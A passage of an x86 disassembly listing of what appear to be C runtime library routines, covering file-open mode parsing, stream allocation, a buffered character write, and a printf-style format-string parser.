and ecx, 0FFFFFFFEh
and esi, 0FFFFFFFCh
or ecx, 2
or esi, 80h
jmp short loc_41FC11
; ---------------------------------------------------------------------------
loc_41FC8F: ; CODE XREF: sub_41FBCD+60j
mov eax, 1000h
test ecx, eax
jnz short loc_41FCF1
or ecx, eax
jmp loc_41FC11
; ---------------------------------------------------------------------------
loc_41FC9F: ; CODE XREF: sub_41FBCD+5Ej
sub eax, 62h
jz short loc_41FCEC
dec eax
jz short loc_41FCD5
sub eax, 0Bh
jz short loc_41FCBE
sub eax, 6
jnz short loc_41FCF1
test ch, 0C0h
jnz short loc_41FCF1
or ch, 40h
jmp loc_41FC11
; ---------------------------------------------------------------------------
loc_41FCBE: ; CODE XREF: sub_41FBCD+DDj
cmp [ebp+var_8], ebx
jnz short loc_41FCF1
mov [ebp+var_8], 1
and esi, 0FFFFBFFFh
jmp loc_41FC11
; ---------------------------------------------------------------------------
loc_41FCD5: ; CODE XREF: sub_41FBCD+D8j
cmp [ebp+var_8], ebx
jnz short loc_41FCF1
mov [ebp+var_8], 1
or esi, 4000h
jmp loc_41FC11
; ---------------------------------------------------------------------------
loc_41FCEC: ; CODE XREF: sub_41FBCD+D5j
test ch, 0C0h
jz short loc_41FCF8
loc_41FCF1: ; CODE XREF: sub_41FBCD+72j
; sub_41FBCD+7Bj ...
xor edx, edx
jmp loc_41FC11
; ---------------------------------------------------------------------------
loc_41FCF8: ; CODE XREF: sub_41FBCD+122j
or ch, 80h
jmp loc_41FC11
; ---------------------------------------------------------------------------
loc_41FD00: ; CODE XREF: sub_41FBCD+4Aj
; sub_41FBCD+52j
push 1A4h
push [ebp+arg_8]
push ecx
push [ebp+arg_0]
call sub_42423B
mov ecx, eax
add esp, 10h
cmp ecx, ebx
jge short loc_41FD1E
loc_41FD1A: ; CODE XREF: sub_41FBCD+25j
xor eax, eax
jmp short loc_41FD38
; ---------------------------------------------------------------------------
loc_41FD1E: ; CODE XREF: sub_41FBCD+14Bj
mov eax, [ebp+arg_C]
inc dword_4DBFAC
mov [eax+0Ch], esi
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], ebx
mov [eax+1Ch], ebx
mov [eax+10h], ecx
loc_41FD38: ; CODE XREF: sub_41FBCD+14Fj
pop edi
pop esi
pop ebx
leave
retn
sub_41FBCD endp
; =============== S U B R O U T I N E =======================================
sub_41FD3D proc near ; CODE XREF: sub_41BE82p
mov edx, dword_4DD020
push ebx
push ebp
push esi
xor ebp, ebp
xor esi, esi
xor eax, eax
cmp edx, ebp
push edi
jle short loc_41FDAE
mov ebx, dword_4DC01C
mov edi, ebx
loc_41FD59: ; CODE XREF: sub_41FD3D+2Ej
mov ecx, [edi]
cmp ecx, ebp
jz short loc_41FD74
test byte ptr [ecx+0Ch], 83h
jz short loc_41FD6F
inc eax
add edi, 4
cmp eax, edx
jl short loc_41FD59
jmp short loc_41FDAE
; ---------------------------------------------------------------------------
loc_41FD6F: ; CODE XREF: sub_41FD3D+26j
mov esi, [ebx+eax*4]
jmp short loc_41FD98
; ---------------------------------------------------------------------------
loc_41FD74: ; CODE XREF: sub_41FD3D+20j
mov edi, eax
push 20h
shl edi, 2
call sub_41BEB5
pop ecx
mov ecx, dword_4DC01C
mov [edi+ecx], eax
mov eax, dword_4DC01C
mov edi, [edi+eax]
cmp edi, ebp
jz short loc_41FDAE
mov esi, edi
loc_41FD98: ; CODE XREF: sub_41FD3D+35j
cmp esi, ebp
jz short loc_41FDAE
or dword ptr [esi+10h], 0FFFFFFFFh
mov [esi+4], ebp
mov [esi+0Ch], ebp
mov [esi+8], ebp
mov [esi], ebp
mov [esi+1Ch], ebp
loc_41FDAE: ; CODE XREF: sub_41FD3D+12j
; sub_41FD3D+30j ...
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41FD3D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FDB5 proc near ; CODE XREF: sub_41C0CE+17p
; sub_41C0CE+58p ...
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
lea ecx, [eax+1]
cmp ecx, 100h
ja short loc_41FDD3
mov ecx, off_43CE78
movzx eax, word ptr [ecx+eax*2]
jmp short loc_41FE25
; ---------------------------------------------------------------------------
loc_41FDD3: ; CODE XREF: sub_41FDB5+10j
mov ecx, eax
push esi
mov esi, off_43CE78
sar ecx, 8
movzx edx, cl
test byte ptr [esi+edx*2+1], 80h
pop esi
jz short loc_41FDF8
and [ebp+var_2], 0
mov [ebp+var_4], cl
mov [ebp+var_3], al
push 2
jmp short loc_41FE01
; ---------------------------------------------------------------------------
loc_41FDF8: ; CODE XREF: sub_41FDB5+33j
and [ebp+var_3], 0
mov [ebp+var_4], al
push 1
loc_41FE01: ; CODE XREF: sub_41FDB5+41j
pop eax
lea ecx, [ebp+arg_0+2]
push 1
push 0
push 0
push ecx
push eax
lea eax, [ebp+var_4]
push eax
push 1
call sub_4244F4
add esp, 1Ch
test eax, eax
jnz short loc_41FE21
leave
retn
; ---------------------------------------------------------------------------
loc_41FE21: ; CODE XREF: sub_41FDB5+68j
movzx eax, word ptr [ebp+arg_0+2]
loc_41FE25: ; CODE XREF: sub_41FDB5+1Cj
and eax, [ebp+arg_4]
leave
retn
sub_41FDB5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FE2A proc near ; CODE XREF: sub_41C266+46p
; sub_41C360+45p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [esi+0Ch]
mov ebx, [esi+10h]
test al, 82h
jz loc_41FF33
test al, 40h
jnz loc_41FF33
test al, 1
jz short loc_41FE62
and dword ptr [esi+4], 0
test al, 10h
jz loc_41FF33
mov ecx, [esi+8]
and al, 0FEh
mov [esi], ecx
mov [esi+0Ch], eax
loc_41FE62: ; CODE XREF: sub_41FE2A+20j
mov eax, [esi+0Ch]
and dword ptr [esi+4], 0
and [ebp+arg_4], 0
and al, 0EFh
or al, 2
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_41FE9C
cmp esi, offset dword_43D588
jz short loc_41FE8A
cmp esi, offset dword_43D5A8
jnz short loc_41FE95
loc_41FE8A: ; CODE XREF: sub_41FE2A+56j
push ebx
call sub_42463D
test eax, eax
pop ecx
jnz short loc_41FE9C
loc_41FE95: ; CODE XREF: sub_41FE2A+5Ej
push esi
call sub_4241F7
pop ecx
loc_41FE9C: ; CODE XREF: sub_41FE2A+4Ej
; sub_41FE2A+69j
test word ptr [esi+0Ch], 108h
push edi
jz short loc_41FF09
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
lea ecx, [eax+1]
mov [esi], ecx
mov ecx, [esi+18h]
dec ecx
test edi, edi
mov [esi+4], ecx
jle short loc_41FECC
push edi
push eax
push ebx
call sub_4230FB
add esp, 0Ch
mov [ebp+arg_4], eax
jmp short loc_41FEFF
; ---------------------------------------------------------------------------
loc_41FECC: ; CODE XREF: sub_41FE2A+90j
cmp ebx, 0FFFFFFFFh
jz short loc_41FEE7
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_4DD040[eax*4]
lea eax, [eax+ecx*8]
jmp short loc_41FEEC
; ---------------------------------------------------------------------------
loc_41FEE7: ; CODE XREF: sub_41FE2A+A5j
mov eax, offset dword_43D4D0
loc_41FEEC: ; CODE XREF: sub_41FE2A+BBj
test byte ptr [eax+4], 20h
jz short loc_41FEFF
push 2
push 0
push ebx
call sub_422F09
add esp, 0Ch
loc_41FEFF: ; CODE XREF: sub_41FE2A+A0j
; sub_41FE2A+C6j
mov eax, [esi+8]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
jmp short loc_41FF1D
; ---------------------------------------------------------------------------
loc_41FF09: ; CODE XREF: sub_41FE2A+79j
push 1
lea eax, [ebp+arg_0]
pop edi
push edi
push eax
push ebx
call sub_4230FB
add esp, 0Ch
mov [ebp+arg_4], eax
loc_41FF1D: ; CODE XREF: sub_41FE2A+DDj
cmp [ebp+arg_4], edi
pop edi
jz short loc_41FF29
or dword ptr [esi+0Ch], 20h
jmp short loc_41FF38
; ---------------------------------------------------------------------------
loc_41FF29: ; CODE XREF: sub_41FE2A+F7j
mov eax, [ebp+arg_0]
and eax, 0FFh
jmp short loc_41FF3B
; ---------------------------------------------------------------------------
loc_41FF33: ; CODE XREF: sub_41FE2A+10j
; sub_41FE2A+18j ...
or al, 20h
mov [esi+0Ch], eax
loc_41FF38: ; CODE XREF: sub_41FE2A+FDj
or eax, 0FFFFFFFFh
loc_41FF3B: ; CODE XREF: sub_41FE2A+107j
pop esi
pop ebx
pop ebp
retn
sub_41FE2A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FF3F proc near ; CODE XREF: sub_41C266+29p
; sub_41C360+28p ...
var_248 = byte ptr -248h
var_247 = byte ptr -247h
var_49 = byte ptr -49h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 248h
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+var_C], esi
mov [ebp+var_14], esi
mov [ebp+arg_4], edi
jz loc_420658
mov ecx, [ebp+var_10]
xor edx, edx
jmp short loc_41FF73
; ---------------------------------------------------------------------------
loc_41FF6B: ; CODE XREF: sub_41FF3F+713j
mov ecx, [ebp+var_10]
mov esi, [ebp+var_30]
xor edx, edx
loc_41FF73: ; CODE XREF: sub_41FF3F+2Aj
cmp [ebp+var_14], edx
jl loc_420658
cmp bl, 20h
jl short loc_41FF94
cmp bl, 78h
jg short loc_41FF94
movsx eax, bl
mov al, [eax+42771Ch]
and eax, 0Fh
jmp short loc_41FF96
; ---------------------------------------------------------------------------
loc_41FF94: ; CODE XREF: sub_41FF3F+40j
; sub_41FF3F+45j
xor eax, eax
loc_41FF96: ; CODE XREF: sub_41FF3F+53j
movsx eax, byte_42773C[esi+eax*8]
sar eax, 4
cmp eax, 7 ; switch 8 cases
mov [ebp+var_30], eax
ja loc_420647 ; default
jmp off_420660[eax*4] ; switch jump
loc_41FFB4: ; DATA XREF: ___:off_420660o
or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041FFAD case 1
mov [ebp+var_34], edx
mov [ebp+var_28], edx
mov [ebp+var_20], edx
mov [ebp+var_1C], edx
mov [ebp+var_4], edx
mov [ebp+var_24], edx
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_41FFCF: ; CODE XREF: sub_41FF3F+6Ej
; DATA XREF: ___:off_420660o
movsx eax, bl ; jumptable 0041FFAD case 2
sub eax, 20h
jz short loc_420012
sub eax, 3
jz short loc_420009
sub eax, 8
jz short loc_420000
dec eax
dec eax
jz short loc_41FFF7
sub eax, 3
jnz loc_420647 ; default
or [ebp+var_4], 8
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_41FFF7: ; CODE XREF: sub_41FF3F+A4j
or [ebp+var_4], 4
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_420000: ; CODE XREF: sub_41FF3F+A0j
or [ebp+var_4], 1
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_420009: ; CODE XREF: sub_41FF3F+9Bj
or byte ptr [ebp+var_4], 80h
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_420012: ; CODE XREF: sub_41FF3F+96j
or [ebp+var_4], 2
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_42001B: ; CODE XREF: sub_41FF3F+6Ej
; DATA XREF: ___:off_420660o
cmp bl, 2Ah ; jumptable 0041FFAD case 3
jnz short loc_420043
lea eax, [ebp+arg_8]
push eax
call sub_42071E
test eax, eax
pop ecx
mov [ebp+var_20], eax
jge loc_420647 ; default
or [ebp+var_4], 4
neg eax
loc_42003B: ; CODE XREF: sub_41FF3F+111j
mov [ebp+var_20], eax
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_420043: ; CODE XREF: sub_41FF3F+DFj
mov eax, [ebp+var_20]
movsx ecx, bl
lea eax, [eax+eax*4]
loc_42004C: ; DATA XREF: ___:00432860o
; ___:0043286Co
lea eax, [ecx+eax*2-30h]
jmp short loc_42003B
; ---------------------------------------------------------------------------
loc_420052: ; CODE XREF: sub_41FF3F+6Ej
; DATA XREF: ___:off_420660o
mov [ebp+var_10], edx ; jumptable 0041FFAD case 4
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_42005A: ; CODE XREF: sub_41FF3F+6Ej
; DATA XREF: ___:off_420660o
cmp bl, 2Ah ; jumptable 0041FFAD case 5
jnz short loc_42007D
lea eax, [ebp+arg_8]
push eax
call sub_42071E
test eax, eax
pop ecx
mov [ebp+var_10], eax
jge loc_420647 ; default
or [ebp+var_10], 0FFFFFFFFh
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_42007D: ; CODE XREF: sub_41FF3F+11Ej
lea eax, [ecx+ecx*4]
movsx ecx, bl
lea eax, [ecx+eax*2-30h]
mov [ebp+var_10], eax
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_42008F: ; CODE XREF: sub_41FF3F+6Ej
; DATA XREF: ___:off_420660o
cmp bl, 49h ; jumptable 0041FFAD case 6
jz short loc_4200C2
cmp bl, 68h
jz short loc_4200B9
cmp bl, 6Ch
jz short loc_4200B0
cmp bl, 77h
jnz loc_420647 ; default
or byte ptr [ebp+var_4+1], 8
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_4200B0: ; CODE XREF: sub_41FF3F+15Dj
or [ebp+var_4], 10h
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_4200B9: ; CODE XREF: sub_41FF3F+158j
or [ebp+var_4], 20h
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_4200C2: ; CODE XREF: sub_41FF3F+153j
cmp byte ptr [edi], 36h
jnz short loc_4200DB
cmp byte ptr [edi+1], 34h
jnz short loc_4200DB
inc edi
inc edi
or byte ptr [ebp+var_4+1], 80h
mov [ebp+arg_4], edi
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_4200DB: ; CODE XREF: sub_41FF3F+186j
; sub_41FF3F+18Cj
mov [ebp+var_30], edx
loc_4200DE: ; CODE XREF: sub_41FF3F+6Ej
; DATA XREF: ___:off_420660o
mov ecx, off_43CE78 ; jumptable 0041FFAD case 0
mov [ebp+var_24], edx
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_42010A
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_420680
mov bl, [edi]
add esp, 0Ch
inc edi
mov [ebp+arg_4], edi
loc_42010A: ; CODE XREF: sub_41FF3F+1B0j
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_420680
add esp, 0Ch
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_420122: ; CODE XREF: sub_41FF3F+6Ej
; DATA XREF: ___:off_420660o
movsx eax, bl ; jumptable 0041FFAD case 7
cmp eax, 67h
jg loc_42034A
cmp eax, 65h
jge loc_4201CD
cmp eax, 58h
jg loc_42022B
jz loc_4203BE
sub eax, 43h
jz loc_4201EE
dec eax
dec eax
jz short loc_4201C3
dec eax
dec eax
jz short loc_4201C3
sub eax, 0Ch
jnz loc_420549
test word ptr [ebp+var_4], 830h
jnz short loc_42016C
or byte ptr [ebp+var_4+1], 8
loc_42016C: ; CODE XREF: sub_41FF3F+227j
; sub_41FF3F+42Aj
mov esi, [ebp+var_10]
cmp esi, 0FFFFFFFFh
jnz short loc_420179
mov esi, 7FFFFFFFh
loc_420179: ; CODE XREF: sub_41FF3F+233j
lea eax, [ebp+arg_8]
push eax
call sub_42071E
test word ptr [ebp+var_4], 810h
pop ecx
mov ecx, eax
mov [ebp+var_8], ecx
jz loc_420392
test ecx, ecx
jnz short loc_4201A1
mov ecx, off_43D094
mov [ebp+var_8], ecx
loc_4201A1: ; CODE XREF: sub_41FF3F+257j
mov [ebp+var_24], 1
mov eax, ecx
loc_4201AA: ; CODE XREF: sub_41FF3F+282j
mov edx, esi
dec esi
test edx, edx
jz loc_420389
cmp word ptr [eax], 0
jz loc_420389
inc eax
inc eax
jmp short loc_4201AA
; ---------------------------------------------------------------------------
loc_4201C3: ; CODE XREF: sub_41FF3F+212j
; sub_41FF3F+216j
mov [ebp+var_34], 1
add bl, 20h
loc_4201CD: ; CODE XREF: sub_41FF3F+1F2j
or [ebp+var_4], 40h
lea edi, [ebp+var_248]
cmp ecx, edx
mov [ebp+var_8], edi
jge loc_4202B1
mov [ebp+var_10], 6
jmp loc_4202BF
; ---------------------------------------------------------------------------
loc_4201EE: ; CODE XREF: sub_41FF3F+20Aj
test word ptr [ebp+var_4], 830h
jnz short loc_4201FA
or byte ptr [ebp+var_4+1], 8
loc_4201FA: ; CODE XREF: sub_41FF3F+2B5j
; sub_41FF3F+2F4j
test word ptr [ebp+var_4], 810h
lea eax, [ebp+arg_8]
push eax
jz short loc_420241
call sub_42073B
push eax
lea eax, [ebp+var_248]
push eax
call sub_424663
add esp, 0Ch
mov [ebp+var_C], eax
test eax, eax
jge short loc_420254
mov [ebp+var_28], 1
jmp short loc_420254
; ---------------------------------------------------------------------------
loc_42022B: ; CODE XREF: sub_41FF3F+1FBj
sub eax, 5Ah
jz short loc_420262
sub eax, 9
jz short loc_4201FA
dec eax
jz loc_420424
jmp loc_420549
; ---------------------------------------------------------------------------
loc_420241: ; CODE XREF: sub_41FF3F+2C5j
call sub_42071E
pop ecx
mov [ebp+var_248], al
mov [ebp+var_C], 1
loc_420254: ; CODE XREF: sub_41FF3F+2E1j
; sub_41FF3F+2EAj
lea eax, [ebp+var_248]
mov [ebp+var_8], eax
jmp loc_420549
; ---------------------------------------------------------------------------
loc_420262: ; CODE XREF: sub_41FF3F+2EFj
lea eax, [ebp+arg_8]
push eax
call sub_42071E
test eax, eax
pop ecx
jz short loc_4202A3
mov ecx, [eax+4]
test ecx, ecx
jz short loc_4202A3
test byte ptr [ebp+var_4+1], 8
jz short loc_420294
movsx eax, word ptr [eax]
shr eax, 1
mov [ebp+var_8], ecx
mov [ebp+var_C], eax
mov [ebp+var_24], 1
jmp loc_420549
; ---------------------------------------------------------------------------
loc_420294: ; CODE XREF: sub_41FF3F+33Cj
and [ebp+var_24], 0
mov [ebp+var_8], ecx
movsx eax, word ptr [eax]
jmp loc_420546
; ---------------------------------------------------------------------------
loc_4202A3: ; CODE XREF: sub_41FF3F+32Fj
; sub_41FF3F+336j
mov eax, off_43D090
mov [ebp+var_8], eax
push eax
jmp loc_42033F
; ---------------------------------------------------------------------------
loc_4202B1: ; CODE XREF: sub_41FF3F+29Dj
jnz short loc_4202BF
cmp bl, 67h
jnz short loc_4202BF
mov [ebp+var_10], 1
loc_4202BF: ; CODE XREF: sub_41FF3F+2AAj
; sub_41FF3F:loc_4202B1j ...
mov eax, [ebp+arg_8]
push [ebp+var_34]
add eax, 8
mov [ebp+arg_8], eax
push [ebp+var_10]
mov ecx, [eax-8]
mov [ebp+var_48], ecx
mov eax, [eax-4]
mov [ebp+var_44], eax
movsx eax, bl
push eax
lea eax, [ebp+var_248]
push eax
lea eax, [ebp+var_48]
push eax
call off_43D420
mov esi, [ebp+var_4]
add esp, 14h
and esi, 80h
jz short loc_420311
cmp [ebp+var_10], 0
jnz short loc_420311
lea eax, [ebp+var_248]
push eax
call off_43D42C
pop ecx
loc_420311: ; CODE XREF: sub_41FF3F+3BCj
; sub_41FF3F+3C2j
cmp bl, 67h
jnz short loc_420328
test esi, esi
jnz short loc_420328
lea eax, [ebp+var_248]
push eax
call off_43D424
pop ecx
loc_420328: ; CODE XREF: sub_41FF3F+3D5j
; sub_41FF3F+3D9j
cmp [ebp+var_248], 2Dh
jnz short loc_42033E
or byte ptr [ebp+var_4+1], 1
lea edi, [ebp+var_247]
mov [ebp+var_8], edi
loc_42033E: ; CODE XREF: sub_41FF3F+3F0j
push edi
loc_42033F: ; CODE XREF: sub_41FF3F+36Dj
call sub_41B9C0
pop ecx
jmp loc_420546
; ---------------------------------------------------------------------------
loc_42034A: ; CODE XREF: sub_41FF3F+1E9j
sub eax, 69h
jz loc_420424
sub eax, 5
jz loc_4203FA
dec eax
jz loc_4203E7
dec eax
jz short loc_4203B7
sub eax, 3
jz loc_42016C
dec eax
dec eax
jz loc_420428
sub eax, 3
jnz loc_420549
mov [ebp+var_2C], 27h
jmp short loc_4203C5
; ---------------------------------------------------------------------------
loc_420389: ; CODE XREF: sub_41FF3F+270j
; sub_41FF3F+27Aj
sub eax, ecx
sar eax, 1
jmp loc_420546
; ---------------------------------------------------------------------------
loc_420392: ; CODE XREF: sub_41FF3F+24Fj
test ecx, ecx
jnz short loc_42039F
mov ecx, off_43D090
mov [ebp+var_8], ecx
loc_42039F: ; CODE XREF: sub_41FF3F+455j
mov eax, ecx
loc_4203A1: ; CODE XREF: sub_41FF3F+46Fj
mov edx, esi
dec esi
test edx, edx
jz short loc_4203B0
cmp byte ptr [eax], 0
jz short loc_4203B0
inc eax
jmp short loc_4203A1
; ---------------------------------------------------------------------------
loc_4203B0: ; CODE XREF: sub_41FF3F+467j
; sub_41FF3F+46Cj
sub eax, ecx
jmp loc_420546
; ---------------------------------------------------------------------------
loc_4203B7: ; CODE XREF: sub_41FF3F+425j
mov [ebp+var_10], 8
loc_4203BE: ; CODE XREF: sub_41FF3F+201j
mov [ebp+var_2C], 7
loc_4203C5: ; CODE XREF: sub_41FF3F+448j
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 10h
jz short loc_42042F
mov al, byte ptr [ebp+var_2C]
mov [ebp+var_16], 30h
add al, 51h
mov [ebp+var_1C], 2
mov [ebp+var_15], al
jmp short loc_42042F
; ---------------------------------------------------------------------------
loc_4203E7: ; CODE XREF: sub_41FF3F+41Ej
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 8
jz short loc_42042F
or byte ptr [ebp+var_4+1], 2
jmp short loc_42042F
; ---------------------------------------------------------------------------
loc_4203FA: ; CODE XREF: sub_41FF3F+417j
lea eax, [ebp+arg_8]
push eax
call sub_42071E
test byte ptr [ebp+var_4], 20h
pop ecx
jz short loc_420413
mov cx, word ptr [ebp+var_14]
mov [eax], cx
jmp short loc_420418
; ---------------------------------------------------------------------------
loc_420413: ; CODE XREF: sub_41FF3F+4C9j
mov ecx, [ebp+var_14]
mov [eax], ecx
loc_420418: ; CODE XREF: sub_41FF3F+4D2j
mov [ebp+var_28], 1
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_420424: ; CODE XREF: sub_41FF3F+2F7j
; sub_41FF3F+40Ej
or [ebp+var_4], 40h
loc_420428: ; CODE XREF: sub_41FF3F+432j
mov [ebp+var_C], 0Ah
loc_42042F: ; CODE XREF: sub_41FF3F+491j
; sub_41FF3F+4A6j ...
test byte ptr [ebp+var_4+1], 80h
jz short loc_420441
lea eax, [ebp+arg_8]
push eax
call sub_42072B
pop ecx
jmp short loc_420482
; ---------------------------------------------------------------------------
loc_420441: ; CODE XREF: sub_41FF3F+4F4j
test byte ptr [ebp+var_4], 20h
jz short loc_420468
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_42045D
call sub_42071E
pop ecx
movsx eax, ax
loc_42045A: ; CODE XREF: sub_41FF3F+527j
; sub_41FF3F+539j
cdq
jmp short loc_420482
; ---------------------------------------------------------------------------
loc_42045D: ; CODE XREF: sub_41FF3F+510j
call sub_42071E
pop ecx
movzx eax, ax
jmp short loc_42045A
; ---------------------------------------------------------------------------
loc_420468: ; CODE XREF: sub_41FF3F+506j
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_42047A
call sub_42071E
pop ecx
jmp short loc_42045A
; ---------------------------------------------------------------------------
loc_42047A: ; CODE XREF: sub_41FF3F+531j
call sub_42071E
pop ecx
xor edx, edx
loc_420482: ; CODE XREF: sub_41FF3F+500j
; sub_41FF3F+51Cj
test byte ptr [ebp+var_4], 40h
jz short loc_4204A3
test edx, edx
jg short loc_4204A3
jl short loc_420492
test eax, eax
jnb short loc_4204A3
loc_420492: ; CODE XREF: sub_41FF3F+54Dj
neg eax
adc edx, 0
mov esi, eax
neg edx
or byte ptr [ebp+var_4+1], 1
mov edi, edx
jmp short loc_4204A7
; ---------------------------------------------------------------------------
loc_4204A3: ; CODE XREF: sub_41FF3F+547j
; sub_41FF3F+54Bj ...
mov esi, eax
mov edi, edx
loc_4204A7: ; CODE XREF: sub_41FF3F+562j
test byte ptr [ebp+var_4+1], 80h
jnz short loc_4204B0
and edi, 0
loc_4204B0: ; CODE XREF: sub_41FF3F+56Cj
cmp [ebp+var_10], 0
jge short loc_4204BF
mov [ebp+var_10], 1
jmp short loc_4204C3
; ---------------------------------------------------------------------------
loc_4204BF: ; CODE XREF: sub_41FF3F+575j
and [ebp+var_4], 0FFFFFFF7h
loc_4204C3: ; CODE XREF: sub_41FF3F+57Ej
mov eax, esi
or eax, edi
jnz short loc_4204CD
and [ebp+var_1C], 0
loc_4204CD: ; CODE XREF: sub_41FF3F+588j
lea eax, [ebp+var_49]
mov [ebp+var_8], eax
loc_4204D3: ; CODE XREF: sub_41FF3F+5DDj
mov eax, [ebp+var_10]
dec [ebp+var_10]
test eax, eax
jg short loc_4204E3
mov eax, esi
or eax, edi
jz short loc_42051E
loc_4204E3: ; CODE XREF: sub_41FF3F+59Cj
mov eax, [ebp+var_C]
cdq
push edx
push eax
push edi
push esi
mov [ebp+var_40], eax
mov [ebp+var_3C], edx
call sub_41DD20
push [ebp+var_3C]
mov ebx, eax
add ebx, 30h
push [ebp+var_40]
push edi
push esi
call sub_41DCB0
cmp ebx, 39h
mov esi, eax
mov edi, edx
jle short loc_420514
add ebx, [ebp+var_2C]
loc_420514: ; CODE XREF: sub_41FF3F+5D0j
mov eax, [ebp+var_8]
dec [ebp+var_8]
mov [eax], bl
jmp short loc_4204D3
; ---------------------------------------------------------------------------
loc_42051E: ; CODE XREF: sub_41FF3F+5A2j
lea eax, [ebp+var_49]
sub eax, [ebp+var_8]
inc [ebp+var_8]
test byte ptr [ebp+var_4+1], 2
mov [ebp+var_C], eax
jz short loc_420549
mov ecx, [ebp+var_8]
cmp byte ptr [ecx], 30h
jnz short loc_42053C
test eax, eax
jnz short loc_420549
loc_42053C: ; CODE XREF: sub_41FF3F+5F7j
dec [ebp+var_8]
inc eax
mov ecx, [ebp+var_8]
mov byte ptr [ecx], 30h
loc_420546: ; CODE XREF: sub_41FF3F+35Fj
; sub_41FF3F+406j ...
mov [ebp+var_C], eax
loc_420549: ; CODE XREF: sub_41FF3F+21Bj
; sub_41FF3F+2FDj ...
cmp [ebp+var_28], 0
jnz loc_420647 ; default
mov ebx, [ebp+var_4]
test bl, 40h
jz short loc_420581
test bh, 1
jz short loc_420566
mov [ebp+var_16], 2Dh
jmp short loc_42057A
; ---------------------------------------------------------------------------
loc_420566: ; CODE XREF: sub_41FF3F+61Fj
test bl, 1
jz short loc_420571
mov [ebp+var_16], 2Bh
jmp short loc_42057A
; ---------------------------------------------------------------------------
loc_420571: ; CODE XREF: sub_41FF3F+62Aj
test bl, 2
jz short loc_420581
mov [ebp+var_16], 20h
loc_42057A: ; CODE XREF: sub_41FF3F+625j
; sub_41FF3F+630j
mov [ebp+var_1C], 1
loc_420581: ; CODE XREF: sub_41FF3F+61Aj
; sub_41FF3F+635j
mov esi, [ebp+var_20]
sub esi, [ebp+var_1C]
sub esi, [ebp+var_C]
test bl, 0Ch
jnz short loc_4205A1
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_4206B5
add esp, 10h
loc_4205A1: ; CODE XREF: sub_41FF3F+64Ej
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_16]
push [ebp+arg_0]
push [ebp+var_1C]
push eax
call sub_4206E6
add esp, 10h
test bl, 8
jz short loc_4205D3
test bl, 4
jnz short loc_4205D3
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 30h
call sub_4206B5
add esp, 10h
loc_4205D3: ; CODE XREF: sub_41FF3F+67Bj
; sub_41FF3F+680j
cmp [ebp+var_24], 0
jz short loc_42061A
cmp [ebp+var_C], 0
jle short loc_42061A
mov eax, [ebp+var_C]
mov ebx, [ebp+var_8]
lea edi, [eax-1]
loc_4205E8: ; CODE XREF: sub_41FF3F+6D7j
mov ax, [ebx]
inc ebx
push eax
lea eax, [ebp+var_38]
push eax
inc ebx
call sub_424663
pop ecx
test eax, eax
pop ecx
jle short loc_42062F
lea ecx, [ebp+var_14]
push ecx
push [ebp+arg_0]
push eax
lea eax, [ebp+var_38]
push eax
call sub_4206E6
add esp, 10h
mov eax, edi
dec edi
test eax, eax
jnz short loc_4205E8
jmp short loc_42062F
; ---------------------------------------------------------------------------
loc_42061A: ; CODE XREF: sub_41FF3F+698j
; sub_41FF3F+69Ej
lea eax, [ebp+var_14]
